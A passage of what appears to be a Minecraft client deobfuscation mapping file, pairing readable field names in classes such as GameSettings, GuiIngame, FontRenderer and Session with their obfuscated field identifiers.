net/minecraft/client/settings/GameSettings$Options/REDUCED_DEBUG_INFO +FD: net/minecraft/client/settings/GameSettings$Options/ENTITY_SHADOWS net/minecraft/client/settings/GameSettings$Options/ENTITY_SHADOWS +FD: net/minecraft/client/settings/GameSettings$Options/REALMS_NOTIFICATIONS net/minecraft/client/settings/GameSettings$Options/REALMS_NOTIFICATIONS +FD: net/minecraft/client/settings/GameSettings$Options/enumFloat net/minecraft/client/settings/GameSettings$Options/field_74385_A +FD: net/minecraft/client/settings/GameSettings$Options/enumBoolean net/minecraft/client/settings/GameSettings$Options/field_74386_B +FD: net/minecraft/client/settings/GameSettings$Options/enumString net/minecraft/client/settings/GameSettings$Options/field_74387_C +FD: net/minecraft/client/settings/GameSettings$Options/valueStep net/minecraft/client/settings/GameSettings$Options/field_148270_M +FD: net/minecraft/client/settings/GameSettings$Options/valueMin net/minecraft/client/settings/GameSettings$Options/field_148271_N +FD: net/minecraft/client/settings/GameSettings$Options/valueMax net/minecraft/client/settings/GameSettings$Options/field_148272_O +FD: net/minecraft/client/settings/GameSettings$Options/$VALUES net/minecraft/client/settings/GameSettings$Options/$VALUES +FD: net/minecraft/client/settings/GameSettings$Options/INVERT_MOUSE net/minecraft/client/settings/GameSettings$Options/INVERT_MOUSE +FD: net/minecraft/client/settings/GameSettings$Options/SENSITIVITY net/minecraft/client/settings/GameSettings$Options/SENSITIVITY +FD: net/minecraft/client/settings/GameSettings$Options/FOV net/minecraft/client/settings/GameSettings$Options/FOV +FD: net/minecraft/client/settings/GameSettings$Options/GAMMA net/minecraft/client/settings/GameSettings$Options/GAMMA +FD: net/minecraft/client/settings/GameSettings$Options/SATURATION net/minecraft/client/settings/GameSettings$Options/SATURATION +FD: net/minecraft/client/settings/GameSettings$Options/RENDER_DISTANCE net/minecraft/client/settings/GameSettings$Options/RENDER_DISTANCE +FD: net/minecraft/client/settings/GameSettings$Options/VIEW_BOBBING net/minecraft/client/settings/GameSettings$Options/VIEW_BOBBING +FD: net/minecraft/client/settings/GameSettings$Options/ANAGLYPH net/minecraft/client/settings/GameSettings$Options/ANAGLYPH +FD: net/minecraft/client/settings/GameSettings$Options/FRAMERATE_LIMIT net/minecraft/client/settings/GameSettings$Options/FRAMERATE_LIMIT +FD: net/minecraft/client/settings/GameSettings$Options/FBO_ENABLE net/minecraft/client/settings/GameSettings$Options/FBO_ENABLE +FD: net/minecraft/client/settings/GameSettings$Options/RENDER_CLOUDS net/minecraft/client/settings/GameSettings$Options/RENDER_CLOUDS +FD: net/minecraft/client/settings/GameSettings$Options/GRAPHICS net/minecraft/client/settings/GameSettings$Options/GRAPHICS +FD: net/minecraft/client/settings/GameSettings$Options/AMBIENT_OCCLUSION net/minecraft/client/settings/GameSettings$Options/AMBIENT_OCCLUSION +FD: net/minecraft/client/settings/GameSettings$Options/GUI_SCALE net/minecraft/client/settings/GameSettings$Options/GUI_SCALE +FD: net/minecraft/client/settings/GameSettings$Options/PARTICLES net/minecraft/client/settings/GameSettings$Options/PARTICLES +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_VISIBILITY net/minecraft/client/settings/GameSettings$Options/CHAT_VISIBILITY +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_COLOR net/minecraft/client/settings/GameSettings$Options/CHAT_COLOR +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_LINKS net/minecraft/client/settings/GameSettings$Options/CHAT_LINKS +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_OPACITY net/minecraft/client/settings/GameSettings$Options/CHAT_OPACITY +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_LINKS_PROMPT net/minecraft/client/settings/GameSettings$Options/CHAT_LINKS_PROMPT +FD: net/minecraft/client/settings/GameSettings$Options/SNOOPER_ENABLED net/minecraft/client/settings/GameSettings$Options/SNOOPER_ENABLED +FD: net/minecraft/client/settings/GameSettings$Options/USE_FULLSCREEN net/minecraft/client/settings/GameSettings$Options/USE_FULLSCREEN +FD: net/minecraft/client/settings/GameSettings$Options/ENABLE_VSYNC net/minecraft/client/settings/GameSettings$Options/ENABLE_VSYNC +FD: net/minecraft/client/settings/GameSettings$Options/USE_VBO net/minecraft/client/settings/GameSettings$Options/USE_VBO +FD: net/minecraft/client/settings/GameSettings$Options/TOUCHSCREEN net/minecraft/client/settings/GameSettings$Options/TOUCHSCREEN +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_SCALE net/minecraft/client/settings/GameSettings$Options/CHAT_SCALE +FD: net/minecraft/client/settings/GameSettings/touchscreen net/minecraft/client/settings/GameSettings/field_85185_A +FD: net/minecraft/client/settings/GameSettings/overrideWidth net/minecraft/client/settings/GameSettings/field_92118_B +FD: net/minecraft/client/settings/GameSettings/overrideHeight net/minecraft/client/settings/GameSettings/field_92119_C +FD: net/minecraft/client/settings/GameSettings/heldItemTooltips net/minecraft/client/settings/GameSettings/field_92117_D +FD: net/minecraft/client/settings/GameSettings/chatScale net/minecraft/client/settings/GameSettings/field_96691_E +FD: net/minecraft/client/settings/GameSettings/chatWidth net/minecraft/client/settings/GameSettings/field_96692_F +FD: net/minecraft/client/settings/GameSettings/chatHeightUnfocused net/minecraft/client/settings/GameSettings/field_96693_G +FD: net/minecraft/client/settings/GameSettings/chatHeightFocused net/minecraft/client/settings/GameSettings/field_96694_H +FD: net/minecraft/client/settings/GameSettings/showInventoryAchievementHint net/minecraft/client/settings/GameSettings/field_151441_H +FD: net/minecraft/client/settings/GameSettings/mipmapLevels net/minecraft/client/settings/GameSettings/field_151442_I +FD: net/minecraft/client/settings/GameSettings/streamBytesPerPixel net/minecraft/client/settings/GameSettings/field_152400_J +FD: net/minecraft/client/settings/GameSettings/streamMicVolume net/minecraft/client/settings/GameSettings/field_152401_K +FD: net/minecraft/client/settings/GameSettings/streamGameVolume net/minecraft/client/settings/GameSettings/field_152402_L +FD: net/minecraft/client/settings/GameSettings/streamKbps net/minecraft/client/settings/GameSettings/field_152403_M +FD: net/minecraft/client/settings/GameSettings/streamFps net/minecraft/client/settings/GameSettings/field_152404_N +FD: net/minecraft/client/settings/GameSettings/streamCompression net/minecraft/client/settings/GameSettings/field_152405_O +FD: net/minecraft/client/settings/GameSettings/streamSendMetadata net/minecraft/client/settings/GameSettings/field_152406_P +FD: net/minecraft/client/settings/GameSettings/streamPreferredServer net/minecraft/client/settings/GameSettings/field_152407_Q +FD: net/minecraft/client/settings/GameSettings/streamChatEnabled net/minecraft/client/settings/GameSettings/field_152408_R +FD: net/minecraft/client/settings/GameSettings/streamChatUserFilter net/minecraft/client/settings/GameSettings/field_152409_S +FD: net/minecraft/client/settings/GameSettings/streamMicToggleBehavior net/minecraft/client/settings/GameSettings/field_152410_T +FD: net/minecraft/client/settings/GameSettings/useNativeTransport net/minecraft/client/settings/GameSettings/field_181150_U +FD: net/minecraft/client/settings/GameSettings/entityShadows net/minecraft/client/settings/GameSettings/field_181151_V +FD: net/minecraft/client/settings/GameSettings/realmsNotifications net/minecraft/client/settings/GameSettings/field_183509_X +FD: net/minecraft/client/settings/GameSettings/keyBindForward net/minecraft/client/settings/GameSettings/field_74351_w +FD: net/minecraft/client/settings/GameSettings/keyBindLeft net/minecraft/client/settings/GameSettings/field_74370_x +FD: net/minecraft/client/settings/GameSettings/mouseSensitivity net/minecraft/client/settings/GameSettings/field_74341_c +FD: net/minecraft/client/settings/GameSettings/hideGUI net/minecraft/client/settings/GameSettings/field_74319_N +FD: net/minecraft/client/settings/GameSettings/thirdPersonView net/minecraft/client/settings/GameSettings/field_74320_O +FD: net/minecraft/client/settings/GameSettings/showDebugInfo net/minecraft/client/settings/GameSettings/field_74330_P +FD: net/minecraft/client/settings/GameSettings/showDebugProfilerChart net/minecraft/client/settings/GameSettings/field_74329_Q +FD: net/minecraft/client/settings/GameSettings/showLagometer net/minecraft/client/settings/GameSettings/field_181657_aC +FD: net/minecraft/client/settings/GameSettings/lastServer net/minecraft/client/settings/GameSettings/field_74332_R +FD: net/minecraft/client/settings/GameSettings/smoothCamera net/minecraft/client/settings/GameSettings/field_74326_T +FD: net/minecraft/client/settings/GameSettings/debugCamEnable net/minecraft/client/settings/GameSettings/field_74325_U +FD: net/minecraft/client/settings/GameSettings/fovSetting net/minecraft/client/settings/GameSettings/field_74334_X +FD: net/minecraft/client/settings/GameSettings/gammaSetting net/minecraft/client/settings/GameSettings/field_74333_Y +FD: net/minecraft/client/settings/GameSettings/saturation net/minecraft/client/settings/GameSettings/field_151452_as +FD: net/minecraft/client/settings/GameSettings/guiScale net/minecraft/client/settings/GameSettings/field_74335_Z +FD: net/minecraft/client/settings/GameSettings/particleSetting net/minecraft/client/settings/GameSettings/field_74362_aa +FD: net/minecraft/client/settings/GameSettings/language net/minecraft/client/settings/GameSettings/field_74363_ab +FD: net/minecraft/client/settings/GameSettings/forceUnicodeFont net/minecraft/client/settings/GameSettings/field_151455_aw +FD: net/minecraft/client/settings/GameSettings/logger net/minecraft/client/settings/GameSettings/field_151454_ax +FD: net/minecraft/client/settings/GameSettings/gson net/minecraft/client/settings/GameSettings/field_151450_ay +FD: net/minecraft/client/settings/GameSettings/typeListString net/minecraft/client/settings/GameSettings/field_151449_az +FD: net/minecraft/client/settings/GameSettings/GUISCALES net/minecraft/client/settings/GameSettings/field_74367_ae +FD: net/minecraft/client/settings/GameSettings/PARTICLES net/minecraft/client/settings/GameSettings/field_74364_ag +FD: net/minecraft/client/settings/GameSettings/AMBIENT_OCCLUSIONS net/minecraft/client/settings/GameSettings/field_98303_au +FD: net/minecraft/client/settings/GameSettings/STREAM_COMPRESSIONS net/minecraft/client/settings/GameSettings/field_152391_aS +FD: net/minecraft/client/settings/GameSettings/STREAM_CHAT_MODES net/minecraft/client/settings/GameSettings/field_152392_aT +FD: net/minecraft/client/settings/GameSettings/STREAM_CHAT_FILTER_MODES net/minecraft/client/settings/GameSettings/field_152393_aU +FD: net/minecraft/client/settings/GameSettings/STREAM_MIC_MODES net/minecraft/client/settings/GameSettings/field_152394_aV +FD: net/minecraft/client/settings/GameSettings/CLOUDS_TYPES net/minecraft/client/settings/GameSettings/field_181149_aW +FD: net/minecraft/client/settings/GameSettings/keyBindBack net/minecraft/client/settings/GameSettings/field_74368_y +FD: net/minecraft/client/settings/GameSettings/keyBindRight net/minecraft/client/settings/GameSettings/field_74366_z +FD: net/minecraft/client/settings/GameSettings/keyBindJump net/minecraft/client/settings/GameSettings/field_74314_A +FD: net/minecraft/client/settings/GameSettings/keyBindSneak net/minecraft/client/settings/GameSettings/field_74311_E +FD: net/minecraft/client/settings/GameSettings/keyBindSprint net/minecraft/client/settings/GameSettings/field_151444_V +FD: net/minecraft/client/settings/GameSettings/keyBindInventory net/minecraft/client/settings/GameSettings/field_151445_Q +FD: net/minecraft/client/settings/GameSettings/keyBindUseItem net/minecraft/client/settings/GameSettings/field_74313_G +FD: net/minecraft/client/settings/GameSettings/keyBindDrop net/minecraft/client/settings/GameSettings/field_74316_C +FD: net/minecraft/client/settings/GameSettings/keyBindAttack net/minecraft/client/settings/GameSettings/field_74312_F +FD: net/minecraft/client/settings/GameSettings/keyBindPickBlock net/minecraft/client/settings/GameSettings/field_74322_I +FD: net/minecraft/client/settings/GameSettings/keyBindChat net/minecraft/client/settings/GameSettings/field_74310_D +FD: net/minecraft/client/settings/GameSettings/keyBindPlayerList net/minecraft/client/settings/GameSettings/field_74321_H +FD: net/minecraft/client/settings/GameSettings/keyBindCommand net/minecraft/client/settings/GameSettings/field_74323_J +FD: net/minecraft/client/settings/GameSettings/keyBindScreenshot net/minecraft/client/settings/GameSettings/field_151447_Z +FD: net/minecraft/client/settings/GameSettings/keyBindTogglePerspective net/minecraft/client/settings/GameSettings/field_151457_aa +FD: net/minecraft/client/settings/GameSettings/keyBindSmoothCamera net/minecraft/client/settings/GameSettings/field_151458_ab +FD: net/minecraft/client/settings/GameSettings/keyBindFullscreen net/minecraft/client/settings/GameSettings/field_152395_am +FD: net/minecraft/client/settings/GameSettings/keyBindSpectatorOutlines net/minecraft/client/settings/GameSettings/field_178883_an +FD: net/minecraft/client/settings/GameSettings/keyBindStreamStartStop net/minecraft/client/settings/GameSettings/field_152396_an +FD: net/minecraft/client/settings/GameSettings/keyBindStreamPauseUnpause net/minecraft/client/settings/GameSettings/field_152397_ao +FD: net/minecraft/client/settings/GameSettings/keyBindStreamCommercials net/minecraft/client/settings/GameSettings/field_152398_ap +FD: net/minecraft/client/settings/GameSettings/keyBindStreamToggleMic net/minecraft/client/settings/GameSettings/field_152399_aq +FD: net/minecraft/client/settings/GameSettings/keyBindsHotbar net/minecraft/client/settings/GameSettings/field_151456_ac +FD: net/minecraft/client/settings/GameSettings/keyBindings net/minecraft/client/settings/GameSettings/field_74324_K +FD: net/minecraft/client/settings/GameSettings/mc net/minecraft/client/settings/GameSettings/field_74317_L +FD: net/minecraft/client/settings/GameSettings/difficulty net/minecraft/client/settings/GameSettings/field_74318_M +FD: net/minecraft/client/settings/GameSettings/invertMouse net/minecraft/client/settings/GameSettings/field_74338_d +FD: net/minecraft/client/settings/GameSettings/setModelParts net/minecraft/client/settings/GameSettings/field_178882_aU +FD: net/minecraft/client/settings/GameSettings/mapSoundLevels net/minecraft/client/settings/GameSettings/field_151446_aD +FD: net/minecraft/client/settings/GameSettings/optionsFile net/minecraft/client/settings/GameSettings/field_74354_ai +FD: net/minecraft/client/settings/GameSettings/renderDistanceChunks net/minecraft/client/settings/GameSettings/field_151451_c +FD: net/minecraft/client/settings/GameSettings/viewBobbing net/minecraft/client/settings/GameSettings/field_74336_f +FD: net/minecraft/client/settings/GameSettings/anaglyph net/minecraft/client/settings/GameSettings/field_74337_g +FD: net/minecraft/client/settings/GameSettings/fboEnable net/minecraft/client/settings/GameSettings/field_151448_g +FD: net/minecraft/client/settings/GameSettings/limitFramerate net/minecraft/client/settings/GameSettings/field_74350_i +FD: net/minecraft/client/settings/GameSettings/clouds net/minecraft/client/settings/GameSettings/field_74345_l +FD: net/minecraft/client/settings/GameSettings/fancyGraphics net/minecraft/client/settings/GameSettings/field_74347_j +FD: net/minecraft/client/settings/GameSettings/ambientOcclusion net/minecraft/client/settings/GameSettings/field_74348_k +FD: net/minecraft/client/settings/GameSettings/resourcePacks net/minecraft/client/settings/GameSettings/field_151453_l +FD: net/minecraft/client/settings/GameSettings/incompatibleResourcePacks net/minecraft/client/settings/GameSettings/field_183018_l +FD: net/minecraft/client/settings/GameSettings/chatVisibility net/minecraft/client/settings/GameSettings/field_74343_n +FD: net/minecraft/client/settings/GameSettings/chatColours net/minecraft/client/settings/GameSettings/field_74344_o +FD: net/minecraft/client/settings/GameSettings/chatLinks net/minecraft/client/settings/GameSettings/field_74359_p +FD: net/minecraft/client/settings/GameSettings/chatLinksPrompt net/minecraft/client/settings/GameSettings/field_74358_q +FD: net/minecraft/client/settings/GameSettings/chatOpacity net/minecraft/client/settings/GameSettings/field_74357_r +FD: net/minecraft/client/settings/GameSettings/snooperEnabled net/minecraft/client/settings/GameSettings/field_74355_t +FD: net/minecraft/client/settings/GameSettings/fullScreen net/minecraft/client/settings/GameSettings/field_74353_u +FD: net/minecraft/client/settings/GameSettings/enableVsync net/minecraft/client/settings/GameSettings/field_74352_v +FD: net/minecraft/client/settings/GameSettings/useVbo net/minecraft/client/settings/GameSettings/field_178881_t +FD: net/minecraft/client/settings/GameSettings/allowBlockAlternatives net/minecraft/client/settings/GameSettings/field_178880_u +FD: net/minecraft/client/settings/GameSettings/reducedDebugInfo net/minecraft/client/settings/GameSettings/field_178879_v +FD: net/minecraft/client/settings/GameSettings/hideServerAddress net/minecraft/client/settings/GameSettings/field_80005_w +FD: net/minecraft/client/settings/GameSettings/advancedItemTooltips net/minecraft/client/settings/GameSettings/field_82882_x +FD: net/minecraft/client/settings/GameSettings/pauseOnLostFocus net/minecraft/client/settings/GameSettings/field_82881_y +FD: net/minecraft/client/LoadingScreenRenderer/message net/minecraft/client/LoadingScreenRenderer/field_73727_a +FD: net/minecraft/client/LoadingScreenRenderer/mc net/minecraft/client/LoadingScreenRenderer/field_73725_b +FD: net/minecraft/client/LoadingScreenRenderer/currentlyDisplayedText net/minecraft/client/LoadingScreenRenderer/field_73726_c +FD: net/minecraft/client/LoadingScreenRenderer/systemTime net/minecraft/client/LoadingScreenRenderer/field_73723_d +FD: net/minecraft/client/LoadingScreenRenderer/loadingSuccess net/minecraft/client/LoadingScreenRenderer/field_73724_e +FD: net/minecraft/client/LoadingScreenRenderer/scaledResolution net/minecraft/client/LoadingScreenRenderer/field_146587_f +FD: net/minecraft/client/LoadingScreenRenderer/framebuffer net/minecraft/client/LoadingScreenRenderer/field_146588_g +FD: net/minecraft/util/ScreenShotHelper/logger net/minecraft/util/ScreenShotHelper/field_148261_a +FD: net/minecraft/util/ScreenShotHelper/dateFormat net/minecraft/util/ScreenShotHelper/field_74295_a +FD: net/minecraft/util/ScreenShotHelper/pixelBuffer net/minecraft/util/ScreenShotHelper/field_74293_b +FD: net/minecraft/util/ScreenShotHelper/pixelValues net/minecraft/util/ScreenShotHelper/field_74294_c +FD: net/minecraft/util/Timer/ticksPerSecond net/minecraft/util/Timer/field_74282_a +FD: net/minecraft/util/Timer/elapsedTicks net/minecraft/util/Timer/field_74280_b +FD: net/minecraft/util/Timer/renderPartialTicks net/minecraft/util/Timer/field_74281_c +FD: net/minecraft/util/Timer/timerSpeed net/minecraft/util/Timer/field_74278_d +FD: net/minecraft/util/Timer/elapsedPartialTicks net/minecraft/util/Timer/field_74279_e +FD: net/minecraft/util/Timer/lastHRTime net/minecraft/util/Timer/field_74276_f +FD: net/minecraft/util/Timer/lastSyncSysClock net/minecraft/util/Timer/field_74277_g +FD: net/minecraft/util/Timer/lastSyncHRClock net/minecraft/util/Timer/field_74284_h +FD: net/minecraft/util/Timer/counter net/minecraft/util/Timer/field_74285_i +FD: net/minecraft/util/Timer/timeSyncAdjustment net/minecraft/util/Timer/field_74283_j +FD: net/minecraft/util/Session$Type/LEGACY net/minecraft/util/Session$Type/LEGACY +FD: net/minecraft/util/Session$Type/MOJANG net/minecraft/util/Session$Type/MOJANG +FD: net/minecraft/util/Session$Type/SESSION_TYPES net/minecraft/util/Session$Type/field_152425_c +FD: net/minecraft/util/Session$Type/sessionType net/minecraft/util/Session$Type/field_152426_d +FD: net/minecraft/util/Session$Type/$VALUES net/minecraft/util/Session$Type/$VALUES +FD: net/minecraft/util/Session/username net/minecraft/util/Session/field_74286_b +FD: net/minecraft/util/Session/playerID net/minecraft/util/Session/field_148257_b +FD: net/minecraft/util/Session/token net/minecraft/util/Session/field_148258_c +FD: net/minecraft/util/Session/sessionType net/minecraft/util/Session/field_152429_d +FD: net/minecraft/client/gui/FontRenderer/FONT_HEIGHT net/minecraft/client/gui/FontRenderer/field_78288_b +FD: net/minecraft/client/gui/FontRenderer/fontRandom net/minecraft/client/gui/FontRenderer/field_78289_c +FD: net/minecraft/client/gui/FontRenderer/unicodePageLocations net/minecraft/client/gui/FontRenderer/field_111274_c +FD: net/minecraft/client/gui/FontRenderer/charWidth net/minecraft/client/gui/FontRenderer/field_78286_d +FD: net/minecraft/client/gui/FontRenderer/glyphWidth net/minecraft/client/gui/FontRenderer/field_78287_e +FD: net/minecraft/client/gui/FontRenderer/colorCode net/minecraft/client/gui/FontRenderer/field_78285_g +FD: net/minecraft/client/gui/FontRenderer/locationFontTexture net/minecraft/client/gui/FontRenderer/field_111273_g +FD: net/minecraft/client/gui/FontRenderer/renderEngine net/minecraft/client/gui/FontRenderer/field_78298_i +FD: net/minecraft/client/gui/FontRenderer/posX net/minecraft/client/gui/FontRenderer/field_78295_j +FD: net/minecraft/client/gui/FontRenderer/posY net/minecraft/client/gui/FontRenderer/field_78296_k +FD: net/minecraft/client/gui/FontRenderer/unicodeFlag net/minecraft/client/gui/FontRenderer/field_78293_l +FD: net/minecraft/client/gui/FontRenderer/bidiFlag net/minecraft/client/gui/FontRenderer/field_78294_m +FD: net/minecraft/client/gui/FontRenderer/red net/minecraft/client/gui/FontRenderer/field_78291_n +FD: net/minecraft/client/gui/FontRenderer/blue net/minecraft/client/gui/FontRenderer/field_78292_o +FD: net/minecraft/client/gui/FontRenderer/green net/minecraft/client/gui/FontRenderer/field_78306_p +FD: net/minecraft/client/gui/FontRenderer/alpha net/minecraft/client/gui/FontRenderer/field_78305_q +FD: net/minecraft/client/gui/FontRenderer/textColor net/minecraft/client/gui/FontRenderer/field_78304_r +FD: net/minecraft/client/gui/FontRenderer/randomStyle net/minecraft/client/gui/FontRenderer/field_78303_s +FD: net/minecraft/client/gui/FontRenderer/boldStyle net/minecraft/client/gui/FontRenderer/field_78302_t +FD: net/minecraft/client/gui/FontRenderer/italicStyle net/minecraft/client/gui/FontRenderer/field_78301_u +FD: net/minecraft/client/gui/FontRenderer/underlineStyle net/minecraft/client/gui/FontRenderer/field_78300_v +FD: net/minecraft/client/gui/FontRenderer/strikethroughStyle net/minecraft/client/gui/FontRenderer/field_78299_w +FD: net/minecraft/client/gui/GuiIngame$1/field_178904_a net/minecraft/client/gui/GuiIngame$1/field_178904_a +FD: net/minecraft/client/gui/GuiIngame/titleDisplayTime net/minecraft/client/gui/GuiIngame/field_175192_A +FD: net/minecraft/client/gui/GuiIngame/titleFadeOut net/minecraft/client/gui/GuiIngame/field_175193_B +FD: net/minecraft/client/gui/GuiIngame/playerHealth net/minecraft/client/gui/GuiIngame/field_175194_C +FD: net/minecraft/client/gui/GuiIngame/lastPlayerHealth net/minecraft/client/gui/GuiIngame/field_175189_D +FD: net/minecraft/client/gui/GuiIngame/lastSystemTime net/minecraft/client/gui/GuiIngame/field_175190_E +FD: net/minecraft/client/gui/GuiIngame/healthUpdateCounter net/minecraft/client/gui/GuiIngame/field_175191_F +FD: net/minecraft/client/gui/GuiIngame/prevVignetteBrightness net/minecraft/client/gui/GuiIngame/field_73843_a +FD: net/minecraft/client/gui/GuiIngame/vignetteTexPath net/minecraft/client/gui/GuiIngame/field_110329_b +FD: net/minecraft/client/gui/GuiIngame/widgetsTexPath net/minecraft/client/gui/GuiIngame/field_110330_c +FD: net/minecraft/client/gui/GuiIngame/pumpkinBlurTexPath net/minecraft/client/gui/GuiIngame/field_110328_d +FD: net/minecraft/client/gui/GuiIngame/rand net/minecraft/client/gui/GuiIngame/field_73842_c +FD: net/minecraft/client/gui/GuiIngame/mc net/minecraft/client/gui/GuiIngame/field_73839_d +FD: net/minecraft/client/gui/GuiIngame/itemRenderer net/minecraft/client/gui/GuiIngame/field_73841_b +FD: net/minecraft/client/gui/GuiIngame/persistantChatGUI net/minecraft/client/gui/GuiIngame/field_73840_e +FD: net/minecraft/client/gui/GuiIngame/streamIndicator net/minecraft/client/gui/GuiIngame/field_152127_m +FD: net/minecraft/client/gui/GuiIngame/updateCounter net/minecraft/client/gui/GuiIngame/field_73837_f +FD: net/minecraft/client/gui/GuiIngame/recordPlaying net/minecraft/client/gui/GuiIngame/field_73838_g +FD: net/minecraft/client/gui/GuiIngame/recordPlayingUpFor net/minecraft/client/gui/GuiIngame/field_73845_h +FD: net/minecraft/client/gui/GuiIngame/recordIsPlaying net/minecraft/client/gui/GuiIngame/field_73844_j +FD: net/minecraft/client/gui/GuiIngame/remainingHighlightTicks net/minecraft/client/gui/GuiIngame/field_92017_k +FD: net/minecraft/client/gui/GuiIngame/highlightingItemStack net/minecraft/client/gui/GuiIngame/field_92016_l +FD: net/minecraft/client/gui/GuiIngame/overlayDebug net/minecraft/client/gui/GuiIngame/field_175198_t +FD: net/minecraft/client/gui/GuiIngame/spectatorGui net/minecraft/client/gui/GuiIngame/field_175197_u +FD: net/minecraft/client/gui/GuiIngame/overlayPlayerList net/minecraft/client/gui/GuiIngame/field_175196_v +FD: net/minecraft/client/gui/GuiIngame/titlesTimer net/minecraft/client/gui/GuiIngame/field_175195_w +FD: net/minecraft/client/gui/GuiIngame/displayedTitle net/minecraft/client/gui/GuiIngame/field_175201_x +FD: net/minecraft/client/gui/GuiIngame/displayedSubTitle net/minecraft/client/gui/GuiIngame/field_175200_y +FD: net/minecraft/client/gui/GuiIngame/titleFadeIn net/minecraft/client/gui/GuiIngame/field_175199_z +FD: net/minecraft/client/gui/Gui/optionsBackground net/minecraft/client/gui/Gui/field_110325_k +FD: net/minecraft/client/gui/Gui/statIcons net/minecraft/client/gui/Gui/field_110323_l +FD: net/minecraft/client/gui/Gui/icons net/minecraft/client/gui/Gui/field_110324_m +FD: net/minecraft/client/gui/Gui/zLevel net/minecraft/client/gui/Gui/field_73735_i +FD: net/minecraft/client/gui/MapItemRenderer$Instance/field_148244_a net/minecraft/client/gui/MapItemRenderer$Instance/field_148244_a +FD: net/minecraft/client/gui/MapItemRenderer$Instance/mapData net/minecraft/client/gui/MapItemRenderer$Instance/field_148242_b +FD: net/minecraft/client/gui/MapItemRenderer$Instance/mapTexture net/minecraft/client/gui/MapItemRenderer$Instance/field_148243_c +FD: net/minecraft/client/gui/MapItemRenderer$Instance/location net/minecraft/client/gui/MapItemRenderer$Instance/field_148240_d +FD: net/minecraft/client/gui/MapItemRenderer$Instance/mapTextureData net/minecraft/client/gui/MapItemRenderer$Instance/field_148241_e +FD: net/minecraft/client/gui/MapItemRenderer/mapIcons net/minecraft/client/gui/MapItemRenderer/field_148253_a +FD: net/minecraft/client/gui/MapItemRenderer/textureManager net/minecraft/client/gui/MapItemRenderer/field_148251_b +FD: net/minecraft/client/gui/MapItemRenderer/loadedMaps net/minecraft/client/gui/MapItemRenderer/field_148252_c +FD: net/minecraft/client/gui/ScaledResolution/scaledWidthD net/minecraft/client/gui/ScaledResolution/field_78332_c +FD: net/minecraft/client/gui/ScaledResolution/scaledHeightD net/minecraft/client/gui/ScaledResolution/field_78329_d +FD: net/minecraft/client/gui/ScaledResolution/scaledWidth net/minecraft/client/gui/ScaledResolution/field_78333_a +FD: net/minecraft/client/gui/ScaledResolution/scaledHeight net/minecraft/client/gui/ScaledResolution/field_78331_b +FD: net/minecraft/client/gui/ScaledResolution/scaleFactor net/minecraft/client/gui/ScaledResolution/field_78330_e +FD: net/minecraft/client/gui/GuiButton/buttonTextures net/minecraft/client/gui/GuiButton/field_146122_a +FD: net/minecraft/client/gui/GuiButton/width net/minecraft/client/gui/GuiButton/field_146120_f +FD: net/minecraft/client/gui/GuiButton/height net/minecraft/client/gui/GuiButton/field_146121_g +FD: net/minecraft/client/gui/GuiButton/xPosition net/minecraft/client/gui/GuiButton/field_146128_h +FD: net/minecraft/client/gui/GuiButton/yPosition net/minecraft/client/gui/GuiButton/field_146129_i +FD: net/minecraft/client/gui/GuiButton/displayString net/minecraft/client/gui/GuiButton/field_146126_j +FD: net/minecraft/client/gui/GuiButton/id net/minecraft/client/gui/GuiButton/field_146127_k +FD: net/minecraft/client/gui/GuiButton/enabled net/minecraft/client/gui/GuiButton/field_146124_l +FD: net/minecraft/client/gui/GuiButton/visible net/minecraft/client/gui/GuiButton/field_146125_m +FD: net/minecraft/client/gui/GuiButton/hovered net/minecraft/client/gui/GuiButton/field_146123_n +FD: net/minecraft/client/gui/GuiNewChat/logger net/minecraft/client/gui/GuiNewChat/field_146249_a +FD: net/minecraft/client/gui/GuiNewChat/mc net/minecraft/client/gui/GuiNewChat/field_146247_f +FD: net/minecraft/client/gui/GuiNewChat/sentMessages net/minecraft/client/gui/GuiNewChat/field_146248_g +FD: net/minecraft/client/gui/GuiNewChat/chatLines net/minecraft/client/gui/GuiNewChat/field_146252_h +FD: net/minecraft/client/gui/GuiNewChat/drawnChatLines net/minecraft/client/gui/GuiNewChat/field_146253_i +FD: net/minecraft/client/gui/GuiNewChat/scrollPos net/minecraft/client/gui/GuiNewChat/field_146250_j +FD: net/minecraft/client/gui/GuiNewChat/isScrolled net/minecraft/client/gui/GuiNewChat/field_146251_k +FD: net/minecraft/client/gui/GuiOverlayDebug$1/field_178907_a net/minecraft/client/gui/GuiOverlayDebug$1/field_178907_a +FD: net/minecraft/client/gui/GuiOverlayDebug/mc net/minecraft/client/gui/GuiOverlayDebug/field_175242_a +FD: net/minecraft/client/gui/GuiOverlayDebug/fontRenderer net/minecraft/client/gui/GuiOverlayDebug/field_175241_f +FD: net/minecraft/client/gui/GuiTextField/xPosition net/minecraft/client/gui/GuiTextField/field_146209_f +FD: net/minecraft/client/gui/GuiTextField/yPosition net/minecraft/client/gui/GuiTextField/field_146210_g +FD: net/minecraft/client/gui/GuiTextField/id net/minecraft/client/gui/GuiTextField/field_175208_g +FD: net/minecraft/client/gui/GuiTextField/fontRendererInstance net/minecraft/client/gui/GuiTextField/field_146211_a +FD: net/minecraft/client/gui/GuiTextField/width net/minecraft/client/gui/GuiTextField/field_146218_h +FD: net/minecraft/client/gui/GuiTextField/height net/minecraft/client/gui/GuiTextField/field_146219_i +FD: net/minecraft/client/gui/GuiTextField/text net/minecraft/client/gui/GuiTextField/field_146216_j +FD: net/minecraft/client/gui/GuiTextField/maxStringLength net/minecraft/client/gui/GuiTextField/field_146217_k +FD: net/minecraft/client/gui/GuiTextField/cursorCounter net/minecraft/client/gui/GuiTextField/field_146214_l +FD: net/minecraft/client/gui/GuiTextField/enableBackgroundDrawing net/minecraft/client/gui/GuiTextField/field_146215_m +FD: net/minecraft/client/gui/GuiTextField/canLoseFocus net/minecraft/client/gui/GuiTextField/field_146212_n +FD: net/minecraft/client/gui/GuiTextField/isFocused net/minecraft/client/gui/GuiTextField/field_146213_o +FD: net/minecraft/client/gui/GuiTextField/isEnabled net/minecraft/client/gui/GuiTextField/field_146226_p +FD: net/minecraft/client/gui/GuiTextField/lineScrollOffset net/minecraft/client/gui/GuiTextField/field_146225_q +FD: net/minecraft/client/gui/GuiTextField/cursorPosition net/minecraft/client/gui/GuiTextField/field_146224_r +FD: net/minecraft/client/gui/GuiTextField/selectionEnd 